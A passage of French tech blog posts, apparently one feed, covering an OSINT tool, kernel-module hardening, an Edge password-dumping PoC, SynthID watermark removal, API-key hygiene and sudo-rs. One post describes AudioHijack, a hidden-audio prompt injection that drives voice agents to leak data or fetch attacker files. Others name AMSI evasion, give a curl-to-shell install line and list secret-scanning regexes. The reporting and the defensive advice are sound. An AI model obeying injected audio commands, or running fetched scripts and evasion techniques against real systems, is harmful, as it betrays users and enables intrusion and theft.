Il y a même un tuner d'ondes courtes intégré, branché sur des centaines de récepteurs radio partagés par des amateurs (les SDR, des radios pilotées par logiciel). Et les scanners de la police américaine sont aussi en écoute directe.

Et en faisant un clic droit n'importe où sur le globe, ce radar mondial vous sortira un dossier du pays, avec le type de gouvernement, le chef d'État tiré de Wikidata, un résumé Wikipédia et la dernière image satellite Sentinel-2 disponible.

Côté bidouille, vous pouvez aussi brancher votre propre dongle RTL-SDR, une clé radio à pas cher, en plus du flux distant pour choper les bateaux à portée de votre antenne. Et avec une clé Shodan, un overlay optionnel ajoute les objets connectés visibles depuis Internet, tels que les caméras, les systèmes industriels, les bases de données et j'en passe.

Ça rejoint ce bon vieux moteur de recherche d'objets connectés dont je vous parlais il y a quelques années. Et si l'OSINT vous gratte vraiment, y'a aussi de quoi vous entraîner sérieusement avec ce site aussi.

La légende de cet outil veut que l'idée soit partie d'une envie de pister les déplacements d'Elon Musk avec une interface cyberpunk. Le nom, lui, vient du Shadow Broker de Mass Effect (rien à voir avec le groupe de hacker Shadow Brokers ). D'après le créateur, GitHub aurait même fait retirer le dépôt d'origine à cause de ce nom, d'où un petit détour par GitLab avant de revenir à Github.

Bref, ce truc agrège une quantité hallucinante de données publiques mondiales...

Après, au niveau du code, tout n'est pas non plus très clair car même si l'OSINT c'est légal, le code du scrapeur d'une carte de guerre contourne volontairement la protection Cloudflare Turnstile, ce qui pose une vraie question légale côté CFAA, la loi américaine contre l'intrusion informatique. C'est une zone grise...

Et y'a aussi des failles puisque plusieurs endpoints ne sont pas authentifiés, dont un qui laisse n'importe qui envoyer des messages APRS (le réseau de positionnement des radioamateurs) sous n'importe quel indicatif, ce qui est une infraction pure et simple aux règles radio.

Quant à la messagerie soi-disant chiffrée ne l'est pas de bout en bout, mais juste obfusquée donc ne faites rien transiter de sensible dessus.

Voilà si je vous dis tout ça, c'est pour que vous gardiez cet outil bien au chaud en local et que vous ne l'exposiez pas sur le net.

Zoom sur la côte de Floride : chaque marqueur est un avion suivi en direct via l'ADS-B, façon radar ( Source : GIGAZINE )

Mais bon, ça fait une belle salle de crise gratuite, open source sous licence AGPL, installable par exemple sur un Raspberry Pi. Grâce à ça, le monde n'a jamais été aussi "lisible" depuis votre canapé !

Un grand merci François pour le lien !

Meng Chen, doctorant à l'université Zhejiang, vient de prouver avec son équipe qu'on pouvait complétement détourner un assistant vocal IA avec un simple son que vous prendriez probablement pour un simple parasite. Avec sa bidouille, il a ainsi réussi à pousser les agents vocaux commerciaux de Microsoft et de Mistral à exécuter des actions que personne ne leur avait demandées.

Gloups !

L'attaque s'appelle AudioHijack, et ça consiste à planquer des ordres dans un fichier audio, une vidéo, un clip musical, une note vocale. Comme ça, le modèle qui l'écoutera vous obéira à VOUS, plutôt qu'à l'utilisateur. C'est comme une injection de prompt sauf que celle-ci s'entend à peine.

"Une demi-heure pour entraîner le signal, et comme il ignore le contexte, vous attaquez quand vous voulez, peu importe ce que dit l'utilisateur", résume Chen dans son interview . Reste qu'il faut un accès complet au modèle pour fabriquer le signal, ce que Microsoft et Mistral ne donnent pas. Alors il suffit à l'attaquant de l'entraîner sur un modèle ouvert qu'il contrôle, puis de rejouer le même signal contre le modèle fermé et en général, ça se passe bien parce qu'ils partagent souvent les mêmes briques audio.

Voilà et ça une fois que c'est fait, il suffit de "polluer" une source, et d'attendre qu'un poisson morde à l'hameçon...

Et le menu des possibilités est plutôt copieux vous allez voir. Le modèle peut par exemple prétendre qu'il ne sait pas traiter l'audio, refuser vos demandes, sortir de fausses infos, glisser un lien piégé, changer de personnalité, ou pire, déclencher des outils tout seul. Genre envoyer un mail avec vos données, ou télécharger un fichier depuis un serveur de l'attaquant s'il en a la possibilité technique (coucou MCP). Ainsi, sur les treize modèles testés, la réussite moyenne grimpe entre 79 et 96% selon le méfait.

Mais pour fabriquer ce signal vérolé, l'attaquant doit sentir dans quelle direction "pousser" le son pour rapprocher le modèle de son but, un peu comme suivre une pente vers le bas.

Sauf que ces modèles transforment l'audio en le découpant par exemple. Et la pente peut du coup devenir un escalier, puis du plat, voire une arête cassante... c'est clairement impossible à suivre ! Mais l'équipe de Chen a réussi à reconstituer cette pente à grand coups d'échantillonnage, puis a maquillé le bruit en réverbération.

Et comme notre oreille est trop limitée pour flairer l'anomalie, ça passe tranquille... Je vous avais déjà parlé de l'injection de prompt avec une simple doc empoisonnée qui pilote une IA , mais là, ça pourrait même surgir de la bande son d'une simple vidéo Youtube...

Et pour se protéger de ça, y'a pas grand chose à faire à part faire relire le prompt final... Le plus sûr, c'est donc plutôt de ne pas brancher votre assistant vocal sur vos mails, vos fichiers ou vos paiements, et de regarder plus en détails ce qui se passe s'il refuse soudainement une tâche ou vous sort un lien après avoir écouté un audio douteux...

De leur côté, les modèles fermés d'OpenAI ou d'Anthropic sont plus durs à viser, faute d'accès à l'architecture mais comme ils s'appuient aussi sur des briques audio open source, l'équipe de Meng pense que l'attaque pourrait se faire aussi.

Méfiance donc...

Source

Vous ne le savez peut-être pas mais votre serveur Linux embarque plusieurs milliers de modules kernel et pourtant, il n'en utilise que quelques centaines à peine. Tout le reste ça prend la poussière et ça peut vous exposer à des problèmes de sécurité. Hé bien c'est exactement à ces modules inutiles que Jasper Nuyens, le fondateur de Linux Belgium, vient s'attaquer avec son outil ModuleJail .

Ce script lit /proc/modules pour savoir ce qui tourne vraiment sur votre machine, et considère ensuite cet ensemble comme étant intouchable. Par contre, pour tout le reste il ajoute une ligne install <module> /bin/true dans /etc/modprobe.d/modulejail-blacklist.conf.

Comme ça si un jour quelque chose essaie de charger un de ces modules endormis, c'est modprobe qui exécutera /bin/true à la place... et il ne se passe rien !!

C'est malin, hein ? Vous pouvez installer ModuleJail via le script dispo sur la page Github ou grâce aux paquets .deb et .rpm si vous préférez. Et ensuite, pour vérifier que c'est bien en place, un petit modprobe -n -v module_banni devrait vous répondre install /bin/true.

En tout cas, je trouve que ModuleJail tombe très bien parce que la chasse aux failles kernel est clairement en train de changer d'échelle. Je pense notamment à tous ces outils de scan assistés par IA qui débusquent à la chaine des bugs d'élévation de privilèges planqués dans le code depuis des années.

Le script propose 3 profils via le flag -p, minimal pour le strict nécessaire, conservative par défaut (serveur classique plus drivers VM courants) et desktop qui garde WiFi, Bluetooth, audio et vidéo. Vous pouvez aussi ajouter votre propre whitelist.

Et la règle d'or non négociable, c'est de le lancer quand la machine est dans un état stable, avec tous les services démarrés, et tous les disques montés. Car oui, ModuleJail ne devine rien, mais se contente de photographier ce qui tourne à l'instant T. Donc sur un système à moitié démarré, ce serait un peu couillon qu'il bannisse un module dont vous aurez besoin plus tard.

Après pour tout ce qui est compilé en dur dans le kernel (le fameux =y de la config) ça reste là, donc une faille dans le cœur du noyau façon Dirty Cow , ça n'y changera rien du tout. Et si vous branchez une webcam six mois après, son module sera déjà banni donc faudra pas oublier de retirer sa ligne du fichier ou relancer le script avec une whitelist, car un simple modprobe ne suffira pas !

Donc c'est pas forcement le pied pour un Linux Desktop mais pour un parc de serveurs en prod qui ne bougent pas, c'est une petite couche de sécurité en plus.

Source

• lien nᵒ 1 : Site du projet
• lien nᵒ 2 : Dépôt GitHub
• lien nᵒ 3 : Documentation

Commentaires : voir le flux Atom ouvrir dans le navigateur

Si vous utilisez le gestionnaire de mots de passe intégré à Microsoft Edge, et que vous le trouvez cool, hé bien accrochez-vous les amis, car Tom Jøran Sønstebyseter Rønning, chercheur norvégien en cybersécurité, vient de publier sur GitHub un PoC qui dump TOUS vos credentials en clair directement depuis la mémoire du processus du navigateur ! Et de ce que j'ai compris, Microsoft a l'air d'assumer ça tranquillou...

Et n'allez pas croire qu'activer "l'Authentification avant remplissage automatique" dans Edge règle le souci... Ça ne change absolument RIEN au problème, parce que les credentials sont chargés en clair en RAM dès l'ouverture du navigateur. Cette option bloque uniquement l'interface, et pas la mémoire. La seule vraie parade, c'est donc de basculer carrément vers un gestionnaire de mots de passe comme Bitwarden, KeePassXC, ou Mistikee car tant qu'ils restent verrouillés, ils ne chargent rien en mémoire.

Le PoC, baptisé EdgeSavedPasswordsDumper, tient en un seul fichier C#. Tom a choisi .NET Framework 3.5 plutôt qu'une version récente, parce que AMSI, l'Antimalware Scan Interface qui inspecte en temps réel le code .NET sous Windows, a une couverture vraiment réduite sur la 3.5 par rapport aux versions modernes. Du coup, le binaire passe plus facilement sous les radars des EDR et antivirus.

Maintenant, le truc, c'est que ce sujet n'est pas nouveau. En effet, en juin 2022, Zeev Ben Porat de chez CyberArk publiait déjà un papier détaillant exactement la même méthode appliquée à Chromium en général (et dont Edge découle...). Il utilisait les APIs Windows OpenProcess et ReadProcessMemory pour lire la mémoire privée des processus du navigateur et y récupérer URLs, logins, mots de passe et même cookies de session. Et à l'époque, Microsoft et Google avaient répondu en gros pareil, à savoir que c'était hors du "threat model", donc que c'était pas la peine de corriger.

Sauf que 4 ans plus tard, Tom Rønning n'arrivait pas à reproduire le dump sur Chrome avec la même méthode. En effet, le navigateur de Google semble charger ses credentials de façon plus granulaire (lazy loading, déchiffrement au besoin) plutôt que tout exposer en RAM dès l'ouverture. Alors que Edge, lui, n'a pas évolué et charge encore TOUS les credentials en clair dès le démarrage du navigateur, qu'on en ait besoin ou pas, et surtout les garde en mémoire tant que le processus parent tourne. Et c'est cette différence-là que Tom met en lumière avec son outil.

Après concernant la dangerosité de ce problème, faut que je nuance un peu tout ça car pour viser sa propre session Edge, l'attaquant n'a pas besoin d'être admin (un malware tournant sous votre compte y arrivera). Par contre, pour aller lire la mémoire des AUTRES utilisateurs sur la même machine, là, il faut les droits administrateur.

Et c'est surtout ce scénario que Tom met en avant dans son README. Il y parle d'un terminal server où plusieurs utilisateurs seraient connectés simultanément via RDP, et sur lequel un admin compromis pourrait dumper les mots de passe de tous les autres avec leur Edge ouvert, y compris les sessions déconnectées tant que le processus parent tourne. C'est assez spécifique quand même mais pas impossible évidemment...

Microsoft, contacté par Tom avant publication, a bien sûr répondu que le comportement était "by design"... Leur doc Edge enterprise explique même noir sur blanc que les attaques physiquement locales et les malwares sont hors du modèle de menace et qu'aucun navigateur n'est armé pour résister à un attaquant déjà infiltré dans le compte utilisateur.

C'est cohérent c'est vrai... Mais ça occulte un truc qui reste très "gênant" comme disent les ados. C'est que leur implémentation expose une surface d'attaque plus large que leurs concurrents basés sur le MÊME moteur Chromium. C'est pas normal....

Et côté communauté, ça n'a pas trainé non plus, puisque Whitecat18 sur GitHub a déjà sorti un portage Rust du PoC. C'est intéressant car Rust offre encore moins de surface AMSI que .NET 3.5 et se compile comme un binaire natif sans aucune dépendance. Donc pour un attaquant, c'est un upgrade de furtivité significatif... Et pour un défenseur, c'est surtout une raison de plus de pousser vos utilisateurs vers des vrais gestionnaires de mots de passe.

Concernant la divulgation responsable , Tom Rønning a fait les choses dans les règles : signalement à Microsoft, attente de la réponse officielle, présentation publique le 29 avril 2026 à BigBiteOfTech (l'évènement Palo Alto Networks Norway), puis publication du PoC.

Voilà... Microsoft persiste, Edge reste as-is (lumière !), et la sécurité de vos mots de passe est officiellement votre problème. Donc si vous utilisez Edge, je pense que ça vaut clairement le coup de migrer vers un gestionnaire externe... vous verrez, c'est pas la mer à boire.

Source

• lien nᵒ 1 : GitHub
• lien nᵒ 2 : Documentation
• lien nᵒ 3 : Site Web
• lien nᵒ 4 : Discussions

Commentaires : voir le flux Atom ouvrir dans le navigateur

Le sujet central du lancement de GPT-5.4-Cyber, c'est moins le modèle que le mécanisme d'accès.

OpenAI a annoncé une version fine-tunée de GPT-5.4 dédiée aux cas d'usage cybersécurité, avec une particularité assumée : moins de restrictions sur les capacités du modèle, mais accès réservé aux participants vérifiés du programme Trusted Access for Cyber.

Concrètement, ce GPT-5.4-Cyber sait faire des choses que les modèles grand public refusent ou limitent. On parle ici de Reverse engineering de binaires sans code source, analyse de malware, étude de vulnérabilités, génération de workflows défensifs avancés, et j'en passe.

Des tâches utiles pour un chercheur en sécurité, mais potentiellement dangereuses si elles tombent entre les mauvaises mains. D'où le verrou d'accès au niveau du compte plutôt qu'au niveau du prompt.

Le programme Trusted Access for Cyber avait été lancé plus tôt dans l'année pour donner à des pros de la sécu vérifiés un accès à des capacités normalement bridées.

OpenAI y ajoute désormais des niveaux supplémentaires, avec un principe simple. Plus le niveau de vérification d'identité est élevé, plus les capacités du modèle sont débloquées. Accès étendu à des milliers d'individus et des centaines d'équipes sécurité, à condition de passer les contrôles.

Ce qui frappe en fait, c'est le changement de posture. OpenAI avait longtemps mis l'accent sur le bridage direct du modèle, via du RLHF agressif et des garde-fous au niveau du prompt. L'approche qui s'impose en 2026, c'est celle de la vérification d'identité plus du monitoring d'usage, avec un modèle plus compétent en face.

Moins de refus, plus de traçabilité. C'est cohérent avec le fait que les red teams avaient largement documenté comment contourner les garde-fous classiques.

Le timing est intéressant. L'annonce tombe une semaine après un lancement similaire chez un concurrent sur le même créneau. Mythos avait ouvert le bal avec un modèle spécialisé cyber et un mécanisme d'accès vérifié comparable.

Du coup, OpenAI ne veut pas laisser le marché et pousse son infra d'identité plutôt que de tenter une bataille de benchmarks.

Côté risques, la question qui reste ouverte c'est la solidité du processus de vérification. Un acteur malveillant avec une couverture légitime (société écran, identité empruntée, insider dans une boîte de pentest) peut techniquement passer les contrôles, et OpenAI indique surveiller l'usage a posteriori plutôt que bloquer en amont. Une fuite d'output reste exploitable même si le compte d'origine est révoqué derrière.

Bref, modèle plus fort, bridage déplacé du prompt vers l'identité. On est là devant un marché cyber-IA qui bouge très vite.

Source : Bloomberg

Un mec de 54 ans vient de plaider coupable pour avoir siphonné 8 millions de dollars aux artistes musicaux en utilisant 10 000 bots et de la musique générée par IA. Michael Smith, résident de Cornelius en Caroline du Nord, a monté pendant des années une ferme à streams qui écoutait en boucle des centaines de milliers de fausses chansons sur Spotify et Apple Music.

Le truc, c'est que ces plateformes ne paient pas un tarif fixe par écoute. Elles fonctionnent avec un pot commun mensuel qu'elles redistribuent proportionnellement au nombre de streams. Du coup, chaque fausse écoute générée par les bots de Smith grignotait directement la part des vrais artistes. En gros, c'est pas Spotify qui se faisait voler, c'est les musiciens qui galèrent déjà à vivre de leur art !

Pour le contenu, Smith avait en fait trouvé un deal avec le CEO d'une boîte de musique IA qui lui pondait des milliers de morceaux par semaine. Les fichiers WAV arrivaient sous forme de chaînes aléatoires de lettres et de chiffres, et il les renommait avec des noms d'artistes fictifs du genre "Calorie Event", "Calms Scorching" ou encore "Calypso Xored" (on sent le générateur de noms random). Les titres, pareil... "Zygotes", "Zyme Bedewing"... si vous tombez là-dessus dans votre discover, y'a de quoi tiquer quand même mais bon...

Et ce problème, ça pose une question que Spotify connaît bien : comment distinguer les vrais streams des faux quand les bots sont suffisamment dispersés sur des milliers de morceaux ? Smith avait justement calibré ses 10 000 bots pour ne pas déclencher les alertes anti-fraude, en répartissant les écoutes sur un catalogue énorme plutôt que de matraquer un seul titre. Pas con.

Mais le bonhomme s'est quand même fait choper. Il a accepté de rendre la totalité des 8 091 843 dollars et risque jusqu'à 5 ans de prison lors de son procès qui aura lieu le 29 juillet prochain. Pas sûr que le ratio risque/récompense en valait la chandelle, en fait.

Le problème de fond, c'est que cette affaire n'est probablement que la partie émergée de l'iceberg. Et je suis sûr que y'en a en France qui font la même... bah sachez que c'est pas cool et que vous risquez d'avoir de GROS ennuis... Avec les outils de génération musicale par IA qui se démocratisent, n'importe qui peut inonder les plateformes de contenu synthétique pour gratter des royalties.

Et tant que le modèle de rémunération repose sur un pot commun plutôt que sur un paiement direct par utilisateur, il sera vulnérable. Encore une fois, les vrais perdants, c'est pas les plateformes (elles prennent leur commission quoi qu'il arrive), mais ce sont les artistes indépendants qui voient leur part du gâteau fondre à chaque bot supplémentaire.

Moche...

Bref, la prochaine fois que votre playlist de découvertes vous propose un artiste nommé "Calypso Xored" ou un connerie de ce style... méfiance !

Source

SynthID, le filigrane invisible que Google injecte dans chaque image Gemini, c'était censé être incassable. Sauf qu'un dev a eu l'idée toute bête de générer des images noires et blanches avec Gemini, puis de regarder ce qui restait dans le domaine fréquentiel. Et là, surprise... le watermark est apparu en clair avec toutes ses fréquences porteuses !

Le projet reverse-SynthID documente le truc de A à Z où on comprend en gros, que le marquage IA de Google fonctionne en injectant de l'énergie à des fréquences bien précises dans le spectre de l'image via une transformation de Fourier . Le chercheur a identifié 6 fréquences porteuses principales, toutes avec une cohérence de phase supérieure à 99,9% et la blague, c'est que ce pattern est fixe. Donc pas de message unique par image, pas de clé qui change... c'est juste la même empreinte spectrale sur toutes les images sorties du modèle Gemini.

Spectre FFT du watermark SynthID - les pics lumineux correspondent aux fréquences porteuses identifiées

Du coup, une fois que vous avez profilé cette empreinte avec une cinquantaine d'images PNG de référence (25 noires, 25 blanches, générées via l'API Gemini), vous pouvez faire deux trucs. D'abord, détecter le filigrane avec 90% de précision, sans avoir le moindre accès au code source de Google. Et ensuite le retirer en soustrayant les composantes spectrales identifiées, fréquence par fréquence, tout en préservant la qualité de l'image à plus de 40 dB PSNR. Visuellement identique à l'original !

Et c'est là que la différence avec UnMarker (dont je vous avais parlé) saute aux yeux car ce dernier "secoue" l'image en aveugle pour casser le watermark. Alors que Reverse-SynthID, c'est plutôt scruté à la loupe et hyper ciblé. Résultat, y'a clairement moins de dégradation et un drop de confiance du détecteur.

Les fréquences porteuses reconstruites - la structure diagonale du watermark SynthID

Par contre, je l'ai implémenté en Rust et j'ai essayé de voir si ça marchait vraiment sur mes propres images générée avec Gemini. Hé bien non, car le bypass ne fait PAS chuter la confiance du détecteur de 100 à 0, mais juste de quelques pourcents.

Le watermark est atténué, mais pas effacé. Ce n'est donc pas un outil clé en main pour faire disparaître tous les filigranes SynthID en un clic. Mais le fait qu'une seule personne, avec du Python et du traitement de signal classique (FFT, filtres notch, soustraction spectrale), ait pu reverse-engineerer un système que Google présente comme LA solution anti-deepfakes...

Ça confirme ce que les chercheurs de l'Université de Waterloo avaient déjà démontré : le watermarking d'images IA, c'est pété by design.

D'ailleurs, Google le sait très bien et ils pourraient changer le pattern demain et tout serait à refaire, mais ça confirme surtout que le principe même du watermarking spectral a une date de péremption. Après, ça arrange tout le monde d'avoir un truc à montrer quand les gouvernements demandent "et contre les deepfakes, vous faites quoi ?"

Et si c'est la petite étoile visible en bas à droite des images Gemini qui vous gêne (pas le watermark spectral invisible, juste le marqueur visuel), j'ai développé un outil pour mes Patreons qui s'en occupe.

Bref, tout est sur le repo si le reverse-engineering de watermarks IA, ça vous branche !

• lien nᵒ 1 : Greywall
• lien nᵒ 2 : Greyproxy
• lien nᵒ 3 : Site web

greywall -- claude

# Homebrew
brew tap greyhavenhq/tap && brew install greywall

# Ou via curl (pas taper)
curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh

Commentaires : voir le flux Atom ouvrir dans le navigateur

On entend beaucoup parler de l'IA générative ces derniers temps. Et dans les médias classiques, c'est souvent pour s'en inquiéter (pas ici, vous savez que j'essaye de rester positif). Il faut quand même reconnaitre que : phishing plus convaincant, deepfakes, malware qui s'adapte tout seul... la liste des risques est longue et légitime.

Mais il y a un angle qu'on oublie parfois : cette même technologie peut aussi renforcer sérieusement nos défenses. C'est exactement la position que défend Surfshark depuis quelques mois. Pas en mode "l'IA va tout résoudre", mais avec une approche pragmatique. À savoir comment utiliser ces outils pour anticiper, tester et contrer les menaces avant qu'elles n'arrivent jusqu'à vous. Je vous explique comment ça fonctionne, ce que ça change concrètement, et pourquoi c'est une bonne nouvelle pour votre sécurité au quotidien.

L'IA générative n'est pas juste un outil d'attaque

Quand on parle de cybersécurité et d'IA, le premier réflexe est de penser aux cybercriminels. C'est vrai, ils l'utilisent. Pour écrire du code malveillant plus vite, personnaliser des campagnes de phishing, ou générer des variantes de malware qui contournent les signatures classiques. Mais les équipes de défense ont accès aux mêmes capacités. La différence ? L'intention et le cadre d'utilisation.

La "generative AI", dans ce contexte, c'est la capacité à produire du contenu nouveau à partir de modèles entraînés. Cela peut être du texte, du code ou encore des scénarios d'attaque simulés. Ce n'est pas de la magie. C'est de l'ingénierie appliquée à la sécurité. Concrètement, ça permet trois choses essentielles :

D'abord, la détection proactive. Au lieu d'attendre qu'une menace soit identifiée pour la bloquer, les modèles peuvent simuler des milliers de variantes d'attaques plausibles, puis entraîner les systèmes de détection à les reconnaître. C'est comme faire des exercices d'incendie avant que le feu ne se déclare.

Ensuite, l'analyse comportementale. L'IA peut modéliser ce à quoi un trafic réseau "normal" ressemble pour votre infrastructure, puis signaler les écarts subtils qui échapperaient à des règles statiques. Pas besoin que l'attaque corresponde à une signature connue, si le comportement est suspect, le système alerte.

Enfin, l'automatisation des réponses. Quand un incident est détecté, chaque minute compte. L'IA peut résumer les alertes, suggérer des actions de confinement, isoler un compte compromis, générer un rapport pour l'équipe, etc. Les analystes gardent la main sur les décisions stratégiques, mais ne perdent plus de temps sur des tâches répétitives.

Comment Surfshark met ça en pratique

Surfshark n'utilise pas l'IA générative pour faire du marketing ou ajouter des fonctionnalités gadget. L'approche est plus terre-à-terre.

Leur équipe sécurité s'appuie sur ces modèles pour tester en continu leurs propres défenses. Ils génèrent des scénarios d'attaque réalistes, adaptés à leur infrastructure, puis vérifient que leurs systèmes réagissent comme prévu. C'est une forme de "pen-testing" augmenté, plus rapide et plus exhaustif que les méthodes manuelles.

Un autre usage concret c'est l'entraînement des équipes. Plutôt que de se baser uniquement sur des incidents passés, ils peuvent créer des simulations dynamiques, avec des variantes imprévisibles. Ça permet de préparer les analystes à des situations qu'ils n'ont jamais rencontrées, sans attendre qu'elles arrivent pour de vrai.

Côté produit, certaines fonctionnalités bénéficient indirectement de ces avancées. CleanWeb , par exemple, qui bloque pubs et trackers, s'appuie sur des modèles capables d'identifier des schémas de collecte de données de plus en plus sophistiqués. L'IA ne remplace pas les listes de blocage, mais elle aide à les mettre à jour plus vite, face à des acteurs qui adaptent leurs techniques en permanence.

Et pour ceux qui s'inquiètent de la confidentialité, Surfshark précise que les données utilisées pour entraîner ces modèles sont soit synthétiques, soit anonymisées. Rien de ce que vous faites via leur VPN ne sert à nourrir des modèles externes. La politique no-logs, auditée par Deloitte ou très récemment SecuRing (audit en janvier 2026), reste la règle.

Utiliser l'IA en sécurité sans se mettre en danger

Si vous êtes tenté d'expérimenter avec des outils d'IA générative dans votre propre environnement, quelques précautions s'imposent. Déjà, ne partagez jamais d'informations sensibles avec des plateformes publiques comme ChatGPT, Claude, etc. Même si l'outil semble inoffensif, vos requêtes peuvent être conservées, analysées, ou fuiter en cas de brèche. Pour du travail sur des configurations, des logs ou des politiques de sécurité, privilégiez des environnements contrôlés, en local ou avec des fournisseurs qui garantissent la confidentialité des données.

Formez vos équipes. L'IA peut générer du code, du texte, des scénarios très convaincants ... mais elle peut aussi se tromper, introduire des biais, ou proposer des solutions qui semblent logiques alors qu'elles créent des failles. Un œil humain reste indispensable pour valider, contextualiser et décider.

Enfin, gardez une approche critique. L'IA n'est pas une solution miracle. Elle amplifie les capacités humaines, mais ne les remplace pas encore. Une bonne hygiène de sécurité (mises à jour, authentification forte, segmentation réseau) reste la base. L'IA vient en couche supplémentaire, pas en fondation.

Vous le savez maintenant, je ne suis pas de ceux qui voient l'IA comme une menace absolue, ni comme une panacée. C'est juste un outil. Comme un marteau : ça dépend de la main qui le tient.

Ce qui me convainc dans l'approche de Surfshark depuis plusieurs années, c'est le pragmatisme. Pas de promesses grandioses, pas de discours "disruptif". Juste une volonté d'utiliser ce qui fonctionne pour améliorer la protection, tout en restant transparent sur les limites et les risques. Si vous cherchez un VPN qui intègre une réflexion sérieuse sur l'avenir de la cybersécurité, sans sacrifier la simplicité ni la confidentialité, Surfshark coche les cases. L'IA générative n'est pas l'argument principal de leur offre, cela dit c'est un atout discret qui renforce la crédibilité technique de l'ensemble.

L'offre du moment

Surfshark propose toujours son offre à 87% de réduction plus trois mois offerts sur l'engagement 24 mois. Cela revient à 1,99 euro HT par mois (2.39€/mois TTC), avec une garantie satisfait ou remboursé de trente jours. Vous pouvez tester le service, vérifier par vous-même les performances, la facilité d'usage, la réactivité du support et vous avez en plus l' Alternative ID inclus. Si ça ne correspond pas à vos attentes, vous êtes remboursé, sans justification. C'est le prix d'un sandwich triangle par mois pour protéger un nombre illimité d'appareils !

En plus, du 25 février au 23 mars (et dans la limite du stock disponible), Surfshark frappe fort encore plus fort avec une offre exclusive en partenariat avec CALM, l’application de méditation et de sommeil la plus téléchargée au monde. En choisissant un abonnement Surfshark de 1 ou 2 ans, vous obtenez automatiquement 12 mois de CALM Premium offerts, quelle que soit la formule choisie. Elle est pas belle la vie ?

Profitez de l'offre à prix cassé !

Note : il s'agit d'un lien affilié. Cela ne change rien pour vous, mais cela me permet de continuer à produire ce type de contenu indépendant, sans recourir à la publicité intrusive.

82 314 dollars, c'est l'incroyable facture que s'est mangé un dev mexicain après 48 heures d'utilisation frauduleuse de sa clé API Gemini. Sa dépense habituelle était de 180 dollars par mois environ, j'imagine que ça lui a fait un peu mal aux fesses. Et c'est une bonne raison pour moi de vous inciter une nouvelle fois à bien sécuriser vos clés API !

Le gars bosse dans une petite startup et de ce que j'ai compris, quelqu'un a chopé ses credentials et s'est lâché sur Gemini 3 Pro pendant deux jours. La réponse de Google ? "Responsabilité partagée". En gros, eux sécurisent l'infra, et vous sécurisez vos clés. Si vous vous faites plumer, c'est votre problème !

Et c'est pas un cas isolé car les chercheurs de Truffle Security ont scanné le web et trouvé 2 863 clés Google API exposées en clair sur des sites publics. Toutes identifiables par le préfixe AIza.

Sauf que comme je vous l'expliquais dans un article précédent, ces clés, à la base, étaient conçues comme de simples identifiants de projet pour Maps et Firebase et la doc Google disait carrément qu'elles n'étaient pas secrètes ! Et quand l'API Gemini a été activée sur ces projets, hé bien ces clés sont devenues des clés d'authentification, sans que personne ne réalise ce changement de paradigme.

Mais bon, plutôt que de chialer comme des fragiles, voyons comment éviter de se retrouver dans cette situation ^^.

Scanner vos secrets existants

Avant tout, faut savoir si vous avez déjà des fuites. Deux outils open source font ça très bien.

TruffleHog scanne vos dépôts Git, vos fichiers, et même vos buckets S3 pour trouver des secrets qui traînent. L'install est simple :

brew install trufflehog
trufflehog git https://github.com/user/project --only-verified

grep -r "AIza" . --include="*.js" --include="*.py" --include="*.env"

brew install git-secrets
cd mon-projet
git secrets --install
git secrets --register-aws

git secrets --add 'AIza[0-9A-Za-z_-]{35}'
git secrets --add 'sk-proj-[0-9a-zA-Z]{48}'

gcloud services api-keys list
gcloud services api-keys create --display-name="gemini-prod-$(date +%Y%m)"
gcloud services api-keys delete ANCIENNE_CLE_ID

Si vous utilisez Ubuntu 26.04, vous avez peut-être remarqué un truc bizarre dernièrement en tapant votre mot de passe sudo... Ouiiiiii, y'a des petites étoiles qui apparaissent !! Pas de panique, c'est "normal". Enfin, c'est nouveau...

En effet, sudo-rs, la réécriture en Rust de la bonne vieille commande sudo, a décidé d'activer pwfeedback par défaut. En gros, quand vous faites un sudo apt install bidule, au lieu du trou noir habituel, vous voyez maintenant des ***** défiler pendant la saisie du mot de passe. C'est un changement qui casse une convention vieille de 40 ans... et ça, forcément, ça fait du bruit !

Pour rappel, Ubuntu a basculé sur sudo-rs (le remplaçant en Rust du bon vieux sudo en C) depuis la version 25.10. Ça fait partie du même mouvement de réécriture des outils système en Rust, comme les coreutils dont je vous avais parlé. Et la 26.04 vient de "cherry-picker" comme on dit, un patch upstream qui active le feedback visuel par défaut.

Un bug report sur Launchpad ( #2142721 ) est bien sûr arrivé direct, en mode vénère genre "*ÇA FAIT DES DÉCENNIES qu'on n'affiche pas la longueur du mot de passe pour empêcher le shoulder surfing ! C'est quoi ce bordel !!?? *"

Et la réponse des devs : Won't Fix. Circulez les relous !

En fait, leur argument c'est que le bénéfice sécurité est "infinitésimal". Parce que bon, votre mot de passe sudo c'est le même que celui de votre session (celui que vous tapez à l'écran de login, devant tout le monde). Et le bruit des touches trahit déjà la longueur de toute façon. Du coup, ils ont préféré régler le problème UX qui paume les débutants depuis le début des années 80.

D'ailleurs, en 2013 je vous expliquais comment activer ces étoiles manuellement avec sudo visudo (ça date de fou !!) et maintenant c'est l'inverse, faut expliquer comment les virer ! Linux Mint avait d'ailleurs déjà sauté le pas de son côté depuis un moment.

Perso, le truc qui me gonfle c'est pour les tutos vidéo. Quand vous faites un screencast, les astérisques révèlent la longueur de votre mot de passe à tous vos spectateurs. Du coup faut aller reparamétrer chaque machine avant de filmer ou faire du masquage en post prod. C'est pas la fin du monde, mais bon, la flemme...

Alors pour désactiver ces jolies zétoiles :

sudo visudo

Defaults !pwfeedback